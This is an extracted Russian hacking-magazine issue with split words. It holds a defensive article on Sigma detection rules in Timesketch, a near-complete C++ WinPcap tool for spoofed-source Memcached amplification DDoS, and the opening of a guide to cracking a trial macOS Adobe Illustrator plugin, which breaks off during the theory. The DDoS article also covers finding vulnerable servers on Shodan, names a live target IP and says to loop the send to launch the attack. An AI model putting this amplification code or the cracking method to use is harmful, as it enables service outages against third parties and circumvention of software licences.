анализ файл ов CSV в детективное расс ледование. В след ующей статье мы расс мотр им новую технологию Sigma, поддерж ка которой буквальн о на днях появил ась в Timesketch, научимся писать для нее прав ила и попр обуе м, как в анекдоте, «заставить всю эту хрень взлет еть».
COVERSTORY ПРЫЖОК В SIGMAЛЯРНОСТЬ ИСПОЛЬЗУЕМ ПРАВИЛА SIGMA В TIMESKETCH Отс леж ивать и детект ировать сист емные sUzU [email protected] события специалист ам по информац ион‐ ной безопасн ости помогаю т разн ые инс‐ трум енты. В 2016 году в этом арсен але появил ась новинка, получивш ая название Sigma. Она сэкономит твое время и зна‐ чительно облегчит жизнь, поск ольк у имеет множество полезных функ ций, которые мы сегодн я расс мотрим. INFO В тексте использ уются результаты, полученн ые в статьях «Тайм лайн всего. Использ уем Plaso для сбор а системных событий» и «Цифровой детект ив. Используем Timesketch для работы с таймлайнами Plaso». В предыдущ их статьях мы научились извлек ать события различного типа из образ а исслед уемог о компьютер а, формировать таймлайн, а такж е нас‐ трои ли сист ему совм естног о анализа и разобрались с ее базовым и воз‐ можностями. Если ты внимательн о изучил интерфейс Timesketch, то уже понял, что эта штук овин а может перевар ить не тольк о файл Plaso, но и абсо‐ лютно произвольн ую CSV, содержащую таймлайн событий. Главн ое, чтоб ы в ней присутствовали ключ евые для Timesketch поля datetime, timestamp_desc и message. Таким образ ом, нам предост авляется шикарная возможность добавить в один таймлайн свед ения из разн ых источников. Чем больше источников событий (до которых Plaso прост о не имее т физической возм ожности добраться) мы соберем, тем более точн ую картину произошедшего пост роим. Например, мы можем загрузить в наш скетч логи с сетевог о файрвола, Surricata или веб‑прокс и, журнал событий из Moloch или результат работы сторонних утилит, которые могут дать много полезной инфы при динамическ ом выполн ении (типа autorunsc). В результате порой получается довольн о насыщенн ый таймлайн, когд а на одну минуту инцид ента прих одитс я до 250 тысяч событий. И если бы у нас было 250 тысяч сотрудник ов, то совм естный анализ был бы быстр и незатей‐ лив. Реальн ость же, к сожалению, такова, что 249 997 человек еще где‑то надо найт и. Однако ИБ‑бойц ы — это крайн е ленивый народ. А лень, как извест но, дви‐ гатель прогр есса. Благ одаря ей у нас появил ись станд арты и протокол ы ана‐ лиза инцид ентов и такие крутые инструм енты, как Yara и Snort, которые живут и разв иваются за счет колл ективн ого разума. Не так давно свет увид ел новый прое кт, который называе тся Sigma. Давай разбиратьс я, как он может облегчить нашу жизнь. SIGMA Старт овал проект в 2016 году, и год спустя на гитх абе появился первый релиз. Созд атели позиционир уют свое детище так: «Sigma для логов — это как Snort для траф ика или Yara для файлов». Задумыв ался он в качестве унив ерс альн ого форм ата описания правил детектирован ия, основ анн ого на данн ых из логов. Еще он может служить в качест ве конв ертер а, который позволит перевест и эти правила в формат любой поддерживаемой SIEM-сис‐ темы, в том числе сформ ировать запрос к Elasticsearch (дальше буду исполь‐ зовать сокр ащение ES). Этот конв ертер работает, если для него есть соот‐ ветствую щий конф игурационный файл, который объя сняе т Sigma, как перег‐ нать то или иное правило под конк ретн ый бэкенд. По сути свое й это обычный файл формата YAML, где указывае тся соответст вие использ уемых в правилах полей реальн ым данным в бэкенд е. Сейчас благодаря стар аниям заинт ересов анн ых людей в репозитории Sigma хранитс я окол о 1200 правил для разл ичных ситуа ций (что почт и на два порядк а больш е имеющихс я по дефолт у анализат оров в Timesketch). Данн ые прав ила позв оляют задетектить всяк ую всячину, начиная от использования mimikatz и обнаружения следов эксплуатации ProxyShell в Exchange до выяв‐ ления след ов работы APT-группировк и Silence. В большинст ве прав ил есть ссылк и на соотв етст вующие техники MITRE. На нашей вирт уалке с Timesketch конф игурац ионный файл для конв ертера хранитс я по пути /opt/timesketch/etc/timesketch/sigma_config.yaml. Благодар я ему Sigma и работае т (или иногд а немножко не работает) с Timesketch. Давай заглянем в него. $ nano /opt/timesketch/etc/timesketch/sigma_config.yaml В разделе backends мы можем наблюдать все бэкенды, с которым и Sigma должна работать, дабы правила завелись на Timesketch: backends: - es-dsl - es-qs - es-qr - es-rule А дальше идут два самых больш их блок а logsources и fieldmappings, в которых маппятся те самые типы источников логов из бэкенда на конкрет‐ ные типы, используемые в прав илах (посм отрим на них ниже). В рамках интеграции Sigma в Timesketch разработч ики напилили нам отдельный анализат ор во вкладке Analyzer и чуть меньш е месяца назад сде‐ лали однои менную вкладк у с возм ожностью просмотреть и применить каждое отдельн ое правило прям о в веб‑интерфейсе. INFO Есл и ты помнишь, в перв ой статье я говорил, что установка Sysmon позв оляет существенн о упростить жизнь админ ам и криминалист ам. Так вот, в Sigma почти две трети правил для Windows опир аются именн о на события Sysmon. К сожале‐ нию, далеко не все админ ы пользуются одним из самых крут ых инст рум ентов тов. М. Руссинови‐ ча. Соответственн о, не удивл яйс я, что очень час‐ то не все правила будут давать ожидаемый детект. Дав ай клон ируем себе проект, чтобы дальше было прощ е разбираться. $ git clone https://github.com/SigmaHQ/sigma.git Структура Sigma-правила Все правила лежат в каталоге rules (а на нашей вирт уалк е в /opt/ timesketch/etc/timesketch/sigma/rules), описываю тся в файл ах YAML и состоят из обяз ательных и дополн ительн ых секций. Подробная спец ифи‐ кация есть в док умент ации. Давай сраз у посмотрим на правило windows/process_creation/ win_susp_whoami_anomaly.yml, я на его примере поясню некотор ые поля. title: Whoami Execution Anomaly # Название правила id: 8de1cbe8-d6f5-496d-8237-5f44a721c7a0 # UUID для однозначной идентификации правила status: experimental description: Detects the execution of whoami with suspicious parents or parameters # Описание в свободной форме references: # Любые ссылки на статьи или whitepaper - https://brica.de/alerts/alert/public/1247926/agent-tesla- keylogger-delivered-inside-a-power-iso-daa-archive/ - https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/ author: Florian Roth # Реквизиты автора правила date: 2021/08/12 # Дата создания modified: 2021/08/26 # Дата модификации tags: - attack.discovery - attack.t1033 - car.2016-03-001 logsource: # Тип источника логов. Основные используемые поля — это product, category и service category: process_creation product: windows detection: # Формирование сигнатуры для детекта selection: Image|endswith: '\\whoami.exe' filter1: ParentImage|endswith: - '\\cmd.exe' - '\\powershell.exe' filter2: ParentImage: - 'C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\ MonitoringHost.exe' - '' filter3: ParentImage: null selection_special: CommandLine|contains: - 'whoami -all' - 'whoami /all' - 'whoami.exe -all' - 'whoami.exe /all' condition: ( selection and not filter1 and not filter2 and not filter3 ) or selection_special # Итоговая сигнатура falsepositives: # Опциональное поле, в котором стоит отражать ситуации, когда может быть ложное срабатывание - Admin activity - Scripts and administrative tools used in the monitored environment - Monitoring activity level: high # Уровень важности low, medium, high или critical А теперь загл янем, что за logsource category: process_creation в файл е sigma_config.yaml. title: Timesketch Sigma config order: 20 backends: - es-dsl - es-qs - es-qr - es-rule logsources: ... process_creation: category: process_creation product: windows conditions: EventID: - 1 - 4688 source_name: - \"Microsoft-Windows-Sysmon\" - \"Microsoft-Windows-Security-Auditing\" - \"Microsoft-Windows-Eventlog\" fieldmappings: Image: NewProcessName ParentImage: ParentProcessName ... Из прив еденного фрагм ента видно, что прав ило в качест ве источник а данн ых использует логи Sysmon и станд артные журналы Windows, а именно eventID 1 или 4688. Это непосредст венно те источники данных, в которых в первой статье копалс я Plaso и которые потом были загружены в данном виде в ES. Если вдруг то или иное прав ило отказ ывае тся заводиться на Timesketch, убедись, что в файл е конфигурац ии есть маппинг для всех logsource, которые в нем использ уются, и по необходимост и добавл яй свой. INFO Когда будешь писать свои собственн ые прав ила, для того чтоб ы они работали на других SIEM-сис‐ темах, необходимо следовать требованиям, опи‐ санн ым на Wiki прое кта. В итог е это правило улет ит на бэкенд Timesketch в след ующем виде: ((data_type:\"windows\\:evtx\\:record\" AND event_identifier:(\"1\" OR \"4688\") AND source_name:(\"Microsoft\\-Windows\\-Sysmon\" OR \"Microsoft\\- Windows\\-Security\\-Auditing\" \\ OR \"Microsoft\\-Windows\\-Eventlog\")) AND ((data_type:\"windows\\:evtx\\: record\" AND event_identifier:(\"1\" OR \"4688\") AND source_name:( \"Microsoft\\-Windows\\-Sysmon\" \\ OR \"Microsoft\\-Windows\\-Security\\-Auditing\" OR \"Microsoft\\-Windows\\- Eventlog\") AND ((xml_string:*\\\\whoami.exe AND (NOT (ParentImage:(*\\\\ cmd.exe OR *\\\\powershell.exe)))) \\ AND (NOT (ParentImage:(\"C\\:\\\\Program\\ Files\\\\Microsoft\\ Monitoring\\ Agent\\\\Agent\\\\MonitoringHost.exe\" OR \"\")))) AND (NOT (NOT _exists_: ParentImage))) OR xml_string:(*whoami\\ \\-all* \\ OR *whoami\\ \\/all* OR *whoami.exe\\ \\-all* OR *whoami.exe\\ \\/all*))) В принц ипе, ничего сложн ого. Давай теперь давай вернемся к нашему кейсу. Детектим очистку логов Есл и помнишь, в пред ыдущ их статьях мы убедились в том, что криворукие попытки зачистить за собой логи мало того что не сильн о помогаю т быть кру‐ тым ниндзей, а наоборот, служат очередным «трев ожн ым звон очком» для анал итик а. Дав ай закинем след ующее прав ило в Timesketch: $ sudo nano /opt/timesketch/etc/timesketch/sigma/rules/win_susp_ security_eventlog_cleared.yml title: Security Eventlog Cleared id: f2f01843-e7b8-4f95-a35a-d23584476423 description: Some threat groups tend to delete the local 'Security' Eventlog using certain utitlities tags: - attack.defense_evasion - attack.t1070 - car.2016-04-002 author: Florian Roth date: 2017/02/19 logsource: product: windows service: security detection: selection: EventID: - 517 - 1102 condition: selection falsepositives: - Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog) - System provisioning (system reset before the golden image creation) level: high Сохр аним его, затем переберемся в браузер, открое м наш скетч и перейдем во вкладку Sigma. Как видишь, наше тольк о что добавл енное прав ило уже тут. Прав ило добавл ено в Sigma Пер ейдем во вкладку Analyze и натравим анал изат ор Sigma со всем и пра‐ вилами, которые в него сейч ас добавл ены, на наш таймлайн. Ждем пару мгновений и смотр им на результ ат. Рез ультат анал иза Так и есть, мы успешно обнар ужил и, что логи чист или. Когда анализатор находит в ES подходящий документ, он обновляет его, добавляя новое поле ts_sigma_rule, в котором записыв ает имя сработав‐ шего прав ила, а такж е внос ит в поля tag и ts_ttp данн ые из раздела tags нашего правила. Соотв етственн о, эти поля становятс я доступным и для поис‐ ка и агрег ации во вкладке Aggregate. Доб авленные поля Теперь можно сразу посм отреть, что же интер есн ого нашл ось, с помощью простых запросов в строке поиск а, напр имер такого: ts_sigma_rule:* tag:* Пон ятное дело, анализировать такой объем информации намного комфор‐ тнее, чем смотреть на сотни тысяч ивентов, которые предстал и твое му взору поначалу. Кром е того, без запуска анализатора можно открыть каждое отдельн ое правило во вкладке Sigma и нажать кнопк у Search. Прав ило автоматически будет подс тавл ено в строку поиск а и покажет тебе подх одящие события. Верификация новых правил Чтоб ы проверить, будет ли корр ектно работать найденное на прост орах сети или написанн ое тобой правило в конкретной сист еме, в Sigma пред усм отрен отдельн ый инст румент, который находитс я в каталоге tools и называется sigmac. $ python3 sigmac -t es-qs --config /opt/timesketch/etc/timesketch/ sigma_config.yaml /opt/timesketch/etc/timesketch/sigma/rules/win_ susp_security_eventlog_cleared.yml В качестве параметра t указывае тся используемый бэкенд (в случаях, когд а ты конвертир уешь правило под свою SIEM-сист ему, значение должно быть соотв етствую щим), далее передается конф игурац ионн ый файл конв ертера и посл едним параметром само прав ило. Пред усм отрен а проверк а сраз у целого каталог а с прав илами. Не забывай, когд а изменяется файл конфигурации конвертера или модер‐ низируются сами правила, обяз ательн о их перепроверять. Как говорится, семь раз отмерь. Дальнейшие инструкции К сожален ию, просто скоп иров ать скоп ом все прав ила в Timesketch и запус‐ тить анал изатор не выйдет. Движок Sigma весьм а прожорлив, и у некоторых правил могут возникнуть проблемы с интеграцией в Timesketch (обычн о из‑за отсутствия нужн ых logsource). Поэтому лучш е пройт ись по списк у прав ил и целенаправленно выбирать те из них, которые подойдут к конк ретн ому кей‐ су. И уже посл е проверки с использ ованием sigmac закидывать их в Timesketch. Ведь, например, если на исслед уемой сист еме не был установ‐ лен Sysmon, нет нужды трат ить время на запуск соответствующих прав ил. Где‑то с год назад ребята из Positive Technologies написали отличный рус‐ скоязычн ый гайд по разработке Sigma-правил (статья раз, статья два, статья три). Если хочешь научитьс я разб иратьс я в неработающих прав илах и научитьс я писать работающие самостоятельно — обязательно прочитай эти статьи. Дальш е, как и в любом деле, потребуе тся опыт. А его, прост о читая инте‐ ресные статьи, набиратьс я сложн овато. Чтоб ы набить руку, тебе прид ется неоднократно «воочию увидеть» те или иные события, их группы и теги. Есть весьма полезные репозит ории, где люди специально склад ываю т записи событий, которые прои сход ят во врем я того или иного инцид ент а. Изуч ать спос обы их выявл ения — один из самых прост ых путей заработать необх одимый опыт. Так что запускай Plaso, загр ужай результ аты в Timesketch и пиши правила для их детекта. И не забывай потом коммитить их в прое кт. :) Кром е того, Sigma можн о применить и по прямому назначению — подклю‐ чив к SIEM-системе, которой ты, возможно, польз уешьс я. ЗАКЛЮЧЕНИЕ Я надеюсь, что посл е прочтения цикл а данных статей у кого‑то из админ ов по безопасности появитс я врем я на лишних две чашк и кофе в день. Кому‑то из бравых бойцов с шевр оном DFIR стан ет немн ого легче жить, а кто‑то, воз‐ можно, возьм ет и пришьет такой шевр он себе на рукав, и HR-отделу останет‐ ся отыск ать всего 249 996 недост ающих человек. ;) До новых встреч!
ВЗЛОМ ОБХОДИМ RAW SECURITY И ПИШЕМ DDOS-УТИЛИТУ ДЛЯ WINDOWS Yuriy Sierpinskiy DDOS [email protected] С УСИЛЕНИЕМ Проходят годы, а DDoS остае тся мощным инструм ентом хакерс ких группировок. Ежедневно в мире происход ит 500– 1000 атак такого типа. Каждый раз злоу мышл енник и находят новые уязв имости в популярных сервисах, которые позв оля‐ ют проводить атак и «с усилением». Разработчики Windows активно борютс я с этим, усложняя жизнь хакерам и отсекая вред оносные запросы на сист емном уровне. Мы сегодн я поговорим о том, как эти преграды обходят. WARNING Статья носит ознакомительн ый характ ер. Автор и редакция не несут ответст венн ости за любой вред, причиненн ый с использование м полученн ой из нее информации. Прежд е чем проводить наг‐ рузочн ое тест ирование веб‑сайта, необх одимо заключить письменное согл ашение с его влад ель‐ цем. В прот ивн ом случае нарушен ие работы сис‐ темы может преследоватьс я по закону. Как видно из стат истики, наиболее распростран енн ый вектор — это атак и на серв исы (или с использованием серв исов), которые используют прот окол UDP. Здесь все очень просто. UDP, в отличие от других прот окол ов, не треб ует сес‐ сии, а ответ на запросы отправляется немедленно. В этом основ а атаки «с усил ением». Мы можем формировать запр осы к некотор ым сервисам таким образ ом, чтоб ы ответ был в десятки раз больше, чем сам запр ос. Соответс‐ твенно, если эти ответы будут перенаправлен ы на машину жерт вы, атак ующий смож ет генерировать траф ик невероя тной мощности. Чтобы пред отв ратить такого рода атак и, разр аботч ики из Microsoft уста‐ новили ограничения на манипулирование пакетами. WWW Подр обност и в документации Microsoft. Обр ати внимание на этот пункт документ ации. Прямо заявлено, что ОС не позволит отправл ять UDP-пакеты с полем IP- адреса поддельного отправ ител я. Зач ем нам это нужно? Дело в том, что трафик, который мы получае м от уязв имых ответов служб, может быть каким‑то образом перенаправлен на серверы жертв. А этого можн о добитьс я, прост о изменив IP-адрес отпра‐ вител я в заголовке UDP-пакета. Тогда уязв имый серв ер подумае т, что запрос поступил с компью тер а жерт вы, и отправ ит на него ответ. Кто не знак ом со структ урой пакета UDP, может посмотреть на табличку ниже. Там ничего особ енного нет, форм ирован ие самого пакета мы раз‐ берем позж е. User Datagram Protocol Собст венн о, из документ ации понятно, что станд артные инст румент ы и биб‐ лиотек и Windows не позв оляю т подделывать адрес отправител я. Для про‐ веден ия DDoS это нужно обойти, и на помощь злод ею или желающему про‐ вести нагрузочный тест приходит такая волш ебная вещь, как WinPcap. С WinPcap можно форм ировать пакеты отправки независимо от инстру‐ мент ов Windows. И это не просто библ иотек а для обработки пакетов для C++, а собст венн ый драйв ер NPF. Есл и вкратце, то это работает так. Мы можем устан овить кастомный драйвер прот окола, при написании программы мы будем ссыл атьс я на него. Оттуд а пакеты будут передав аться на драйв ер Network interface card (NIC) и идти дальше по сети. Таким образом мы сможем полн остью контрол ировать про‐ цесс созд ания и инкапсул яции пакетов. ИЩЕМ УЯЗВИМЫЕ СЕРВЕРЫ Для поиск а уязвимых серв еров широко использ уетс я поиск овик Shodan. Давай для прим ера попр обуе м найти серв еры Memcached, которые исполь‐ зовались для атак и на Github неск ольк о лет назад. Ввод им product: \"Memcached\" и видим, что серв еров остается все еще очень много. Разработч ик исправил уязв имость и теперь порт, назн аченный по умолчанию, заменен с 11211 на TCP. Но, несм отря на это, в интернет е остались тысячи уязв имых серв еров. У Shodan есть фильтры, которые помогаю т искать необх одимые сервисы и серв еры. Для практики можн о попробовать найт и сервисы RDP с порт ом UDP/3389, которые также уязв имы для атак амплификации (с коэффици‐ ентом 85,9:1). РАЗРАБОТКА Мы можем создать прогр амму для эксплуатации уязвимости серверов Memcached, DDoS с усил ение м. Прежд е всего нужн о наст роить рабочую сре‐ ду. • Устанавл ивае м необходимый драйвер (есть версия для Windows 10, она поддержив ает больше интерфейсов). • Скачивае м библиотек у Winpcap Developers Pack. • Подк лючаем библ иотек у в прое кт. Файл ы с заголовк ами Макр осы В самом проекте я использ овал след ующие модули: #define _ALLOW_KEYWORD_MACROS // Отключить предупреждение #include <winsock2.h> // Здесь нужные нам функции, такие как htons() htonl() #pragma comment (lib,\"WS2_32.lib\") #include <Iphlpapi.h>// Поможет нам найти информацию про сетевые адаптеры и их характеристики #pragma comment (lib,\"Iphlpapi.lib\") #include <pcap/pcap.h> // Собственно, WinPcap #pragma comment (lib,\"wpcap.lib\") #include <iostream> // Здесь нам нужна функция sprintf() #include <stdio.h> #include <thread> #define HOST sin_addr.S_un.S_addr // Переменные для пакета using namespace std; Пер ейдем к главн ой задаче прогр аммы — форм ированию пакетов. Пойдем по пунк там. Функция выбора интерфейс а, из которог о будут пост упать пакеты string devices[15]; void ShowDeviceList(void) { char Error[PCAP_ERRBUF_SIZE]; pcap_if_t* Devices; pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &Devices, Error); int i = 1; for (pcap_if_t* CurrentDevice = Devices; CurrentDevice != NULL; CurrentDevice = CurrentDevice->next) { devices[i] = CurrentDevice->description; //string a = CurrentDevice->description; //cout << i << \". \" << a << endl; i++; } } Далее ты можешь вывести их удобн ым способом, выбрать и использ овать для отправки. Напр имер, в моей программе это выгл ядит как на скриншоте ниже. Функ ции формирования UDP-пакета unsigned char* FinalPacket; unsigned int UserDataLen; unsigned short BytesTo16(unsigned char X, unsigned char Y) { unsigned short Tmp = X; Tmp = Tmp << 8; Tmp = Tmp | Y; return Tmp; } unsigned int BytesTo32(unsigned char W, unsigned char X, unsigned char Y, unsigned char Z) { unsigned int Tmp = W; Tmp = Tmp << 8; Tmp = Tmp | X; Tmp = Tmp << 8; Tmp = Tmp | Y; Tmp = Tmp << 8; Tmp = Tmp | Z; return Tmp; } unsigned char* MACStringToBytes(LPSTR String) { char* Tmp = new char[strlen(String)]; memcpy((void*)Tmp, (void*)String, strlen(String)); unsigned char* Returned = new unsigned char[6]; for (int i = 0; i < 6; i++) { sscanf(Tmp, \"%2X\", &Returned[i]); memmove((void*)(Tmp), (void*)(Tmp + 3), 19 - i * 3); } return Returned; } unsigned short CalculateIPChecksum(UINT TotalLen, UINT ID, UINT SourceIP, UINT DestIP) { unsigned short CheckSum = 0; for (int i = 14; i < 34; i += 2) { tools tool2; unsigned short Tmp = tool2.BytesTo16(FinalPacket[i], FinalPacket[i + 1]); unsigned short Difference = 65535 - CheckSum; CheckSum += Tmp; if (Tmp > Difference) { CheckSum += 1; } } CheckSum = ~CheckSum; return CheckSum; } unsigned short CalculateUDPChecksum(unsigned char* UserData, int UserDataLen, UINT SourceIP, UINT DestIP, USHORT SourcePort, USHORT DestinationPort, UCHAR Protocol) { unsigned short CheckSum = 0; unsigned short PseudoLength = UserDataLen + 8 + 9; //Length of PseudoHeader = Data Length + 8 bytes UDP header (2Bytes Length,2 Bytes Dst Port, 2 Bytes Src Port, 2 Bytes Checksum) //+ Two 4 byte IP's + 1 byte protocol PseudoLength += PseudoLength % 2; // If bytes are not an even number, add an extra. unsigned short Length = UserDataLen + 8; // This is just UDP + Data length needed for actual data in udp header unsigned char* PseudoHeader = new unsigned char[PseudoLength]; for (int i = 0; i < PseudoLength; i++) { PseudoHeader[i] = 0x00; } PseudoHeader[0] = 0x11; memcpy((void*)(PseudoHeader + 1), (void*)(FinalPacket + 26), 8); // Source and Dest IP Length = htons(Length); memcpy((void*)(PseudoHeader + 9), (void*)&Length, 2); memcpy((void*)(PseudoHeader + 11), (void*)&Length, 2); memcpy((void*)(PseudoHeader + 13), (void*)(FinalPacket + 34), 2); memcpy((void*)(PseudoHeader + 15), (void*)(FinalPacket + 36), 2); memcpy((void*)(PseudoHeader + 17), (void*)UserData, UserDataLen); for (int i = 0; i < PseudoLength; i += 2) { tools tool2; unsigned short Tmp = tool2.BytesTo16(PseudoHeader[i], PseudoHeader[i + 1]); unsigned short Difference = 65535 - CheckSum; CheckSum += Tmp; if (Tmp > Difference) { CheckSum += 1; } } CheckSum = ~CheckSum; //One's complement return CheckSum; } void SendPacket(pcap_if_t* Device) { char Error[256]; pcap_t* t; t = pcap_open(Device->name, 65535, PCAP_OPENFLAG_DATATX_UDP, 1, NULL, Error);//FP for send pcap_sendpacket(t, FinalPacket, UserDataLen + 42); pcap_close(t); } void CreatePacket (unsigned char* SourceMAC, unsigned char* DestinationMAC, unsigned int SourceIP, unsigned int DestIP, unsigned short SourcePort, unsigned short DestinationPort, unsigned char* UserData, unsigned int UserDataLen) { UserDataLen = UserDataLen; FinalPacket = new unsigned char[UserDataLen + 42]; // Reserve enough memory for the length of the data plus 42 bytes of headers USHORT TotalLen = UserDataLen + 20 + 8; // IP Header uses length of data plus length of ip header (usually 20 bytes) plus lenght of udp header (usually 8) //Beginning of Ethernet II Header memcpy((void*)FinalPacket, (void*)DestinationMAC, 6); memcpy((void*)(FinalPacket + 6), (void*)SourceMAC, 6); USHORT TmpType = 8; memcpy((void*)(FinalPacket + 12), (void*)&TmpType, 2); //The type of protocol used. (USHORT) Type 0x08 is UDP. You can change this for other protocols (e.g. TCP) // Beginning of IP Header memcpy((void*)(FinalPacket + 14), (void*)\"\\x45\", 1); //The Version (4) in the first 3 bits and the header length on the last 5. (Im not sure, if someone could correct me plz do) //If you wanna do any IPv6 stuff, you will need to change this. but i still don't know how to do ipv6 myself =s memcpy((void*)(FinalPacket + 15), (void*)\"\\x00\", 1); // Differntiated services field. Usually 0 TmpType = htons(TotalLen); memcpy((void*)(FinalPacket + 16), (void*)&TmpType, 2); TmpType = htons(0x1337); memcpy((void*)(FinalPacket + 18), (void*)&TmpType, 2);// Identification. Usually not needed to be anything specific, esp in udp. 2 bytes (Here it is 0x1337 memcpy((void*)(FinalPacket + 20), (void*)\"\\x00\", 1); // Flags. These are not usually used in UDP either, more used in TCP for fragmentation and syn acks i think memcpy((void*)(FinalPacket + 21), (void*)\"\\x00\", 1); // Offset memcpy((void*)(FinalPacket + 22), (void*)\"\\x80\", 1); // Time to live. Determines the amount of time the packet can spend trying to get to the other computer. (I see 128 used often for this) memcpy((void*)(FinalPacket + 23), (void*)\"\\x11\", 1);// Protocol. UDP is 0x11 (17) TCP is 6 ICMP is 1 etc memcpy((void*)(FinalPacket + 24), (void*)\"\\x00\\x00\", 2); // checksum memcpy((void*)(FinalPacket + 26), (void*)&SourceIP, 4); // inet_addr does htonl() for us memcpy((void*)(FinalPacket + 30), (void*)&DestIP, 4); //Beginning of UDP Header TmpType = htons(SourcePort); memcpy((void*)(FinalPacket + 34), (void*)&TmpType, 2); TmpType = htons(DestinationPort); memcpy((void*)(FinalPacket + 36), (void*)&TmpType, 2); USHORT UDPTotalLen = htons(UserDataLen + 8); // UDP Length does not include length of IP header memcpy((void*)(FinalPacket + 38), (void*)&UDPTotalLen, 2); memcpy((void*)(FinalPacket+40),(void*)&TmpType,2); //checksum memcpy((void*)(FinalPacket + 42), (void*)UserData, UserDataLen); unsigned short UDPChecksum = CalculateUDPChecksum(UserData, UserDataLen, SourceIP, DestIP, htons(SourcePort), htons( DestinationPort), 0x11); memcpy((void*)(FinalPacket + 40), (void*)&UDPChecksum, 2); unsigned short IPChecksum = htons(CalculateIPChecksum(TotalLen, 0x1337, SourceIP, DestIP)); memcpy((void*)(FinalPacket + 24), (void*)&IPChecksum, 2); return; } Форм ирован ие пакета pcap_if_t* ChosenDevice; char SourceIP[16] = \"111.221.111.111\"; for (int i = 0; i < 16; i++) { SourceIP[i] = target_ip[i]; } char SourcePort[6] = \"11211\"; char SourceMAC[19] = \"00:26:57:00:1f:02\"; char DestinationIP[16] = \"192.168.0.105\"; for (int i = 0; i < 16; i++) { DestinationIP[i] = bot_ip[i]; } char DestinationPort[6] = \"11211\"; char DataString[2048] = \"stats\"; int chosen = chosen_device; DeviceInfo di; di = tool1.GetAdapterInfo(ChosenDevice); RawPacket RP; RP.CreatePacket(tool1.MACStringToBytes(SourceMAC), di. GatewayPhysicalAddress, inet_addr(SourceIP), inet_addr(DestinationIP), atoi(SourcePort), atoi(DestinationPort), (UCHAR*)DataString, strlen(DataString)); Отправка пакета void SendPacket(pcap_if_t* Device) { char Error[256]; pcap_t* t; t = pcap_open(Device->name, 65535, PCAP_OPENFLAG_DATATX_UDP, 1, NULL, Error);//FP for send pcap_sendpacket(t, FinalPacket, UserDataLen + 42); pcap_close(t); } RP.SendPacket(ChosenDevice); Последние неск олько строк можн о помест ить в цикл и начать DDoS-атак у. Тестовой целью будет серв ер с адрес ом 18.181.248.145. В Wireshark это все будет выглядеть примерн о так. Пакеты отправляются на уязвимые серв еры, которые видят нашу цель в качест ве отправител я. ЗАКЛЮЧЕНИЕ Код, описанный выше, самодост аточен. Если тебе прид етс я писать эксплоит для подобн ой уязв имост и, то, скор ее всего, прид ется манипул ировать тольк о полями DataString (пейл оад), Dest / Source Port, Dest / Source IP. Да, было бы горазд о прощ е сделать все это на Linux, и больш инство таких прогр амм написаны как раз таки для него. Но это не знач ит, что мы не можем экспер иментировать и углублять знания!
ВЗЛОМ ЛИПОСАКЦИЯ ДЛЯ FAT BINARY ЛОМАЕМ MACH-O UNIVERSAL BINARY ДЛЯ APPLE ПОД НЕСКОЛЬКО АРХИТЕКТУР МВК Мы мног о раз писали о взломе прогр амм для Windows. Для нее созд ано множ ество отладчик ов, дизассемб леров и друг их полезн ых инструмент ов. Сегодня же мы обрат им взор на мульт ипр оцесс орную прогр амму для macOS, вер‐ нее, на плагин для маковс ког о Adobe Illustrator CC 2021, который (в целях обуч ения!) будет превращен из пробной верс ии в полноценн ую. Прич ем понадобятс я нам исклю‐ чительно инструмент ы для Windows: IDA версии 7.2 и Hiew. WARNING Вся информация предоставлен а исключ ительно в ознакомит ельных и обучающих целях. Ни автор, ни редакция не несут ответственн ости за любой возм ожный вред, прич иненный материа лами дан‐ ной статьи. Нарушен ие лиценз ии при исполь‐ зовании ПО может пресл едоваться по закону. НЕМНОГО ТЕОРИИ Для начала коротк о попытаемся получить предс тавление, что именн о нам предстоит ломать. Мы уже прив ыкл и, что все исполняе мые файл ы и биб‐ лиотеки под актуа льные верс ии Windows именуютс я EXE/DLL и имею т струк‐ туру MZ-PE. Под macOS использ уетс я формат Mach-O (сокращение от Mach object), являю щийс я потомк ом форм ата a.out, который макось унаследовала от Unix. Как извест но, Apple любит периодич еск и переход ить с одног о семейс тва процесс оров на другое, из‑за чего меняется и архит ект ура прил ожен ий. Начав с PowerPC, Apple в середине нулевых переметнулась в стан Intel, посл е чего в недавн ем прошлом корп орация решила перейти на платформу ARM. Дабы пользовател и поменьш е страд али от подобных метаний, был взят на вооружение мульт ипр оцессорный форм ат Fat binary («жирн ый бинарн ик»), который может содержать код одноврем енно под неск олько проц есс оров. Такой модуль может работать как под Intel, так и под ARM. Что же такое модуль Mach-O? Обычн о он сост оит из трех областей. Заголовок содерж ит общую информац ию о двоичном файл е: порядок байт ов (магическ ое число), тип процессора, количест во команд загр узки и т. д. Затем следуют команды загрузки — это свое го рода оглавлен ие, которое описывает положен ие сегментов, динамич ескую табл ицу символов и прочие полезные вещи. Каждая команд а загр узки содержит метаданн ые, такие как тип команд ы, ее имя, позиция в двоичном файле. Наконец, третья область — это данн ые, обычно самая большая часть объе ктного файла. Она содерж ит код и различную дополнительн ую информацию. Мультипр оцессорный «жирный» модуль может включать в себя неск ольк о обычных модулей Mach-O, заточенн ых под разн ые процесс оры (обычно это i386 и x86_64, ARM или ARM64). Структура его пред ельно проста — сраз у за Fat header, в котором опис ываю тся вход ящие в модуль блок и Mach-O, сле‐ дует код этих блок ов, расположенный подр яд. Я не буду подробно остан ав‐ ливаться на опис ании всех секц ий и полей данного формата, желающие могут легко нагугл ить специфик ацию. Остановимс я лишь на форм ате заголовков, поскольк у они понадобятс я нам в дальнейших действиях. Структ ура класс ическ ого заголовк а Mach-O выглядит так. struct mach_header { // Сигнатура, обычно CF FA ED FE или CE FA ED FE, но для варианта с обратным порядком байтов возможна и обратная сигнатура FE ED FA CF uint32_t magic; // Тип процессора, для intel это 7, для ARM — С cpu_type_t cputype; // Подтип процессора, 1 означает 64-разрядность, например 07000001h — x86_64 cpu_subtype_t cpusubtype; // Тип файла uint32_t filetype; // Количество команд, следующих за хидером uint32_t ncmds; // Размер команд, следующих за хидером uint32_t sizeofcmds; // Набор битовых флагов, которые указывают состояние некоторых дополнительных функций формата файла Mach-O uint32_t flags; }; «Жирный заголовок» предс тавляет собой типичн ый заголов ок Universal binary и выглядит вот так. struct fat_header { uint32_t magic; // 0BEBAFECAh // Количество последующих блоков fat_arch, соответствующих поддерживаемым процессорам uint32_t nfat_arch; }; struct fat_arch { cpu_type_t cputype; cpu_subtype_t cpusubtype; // Смещение 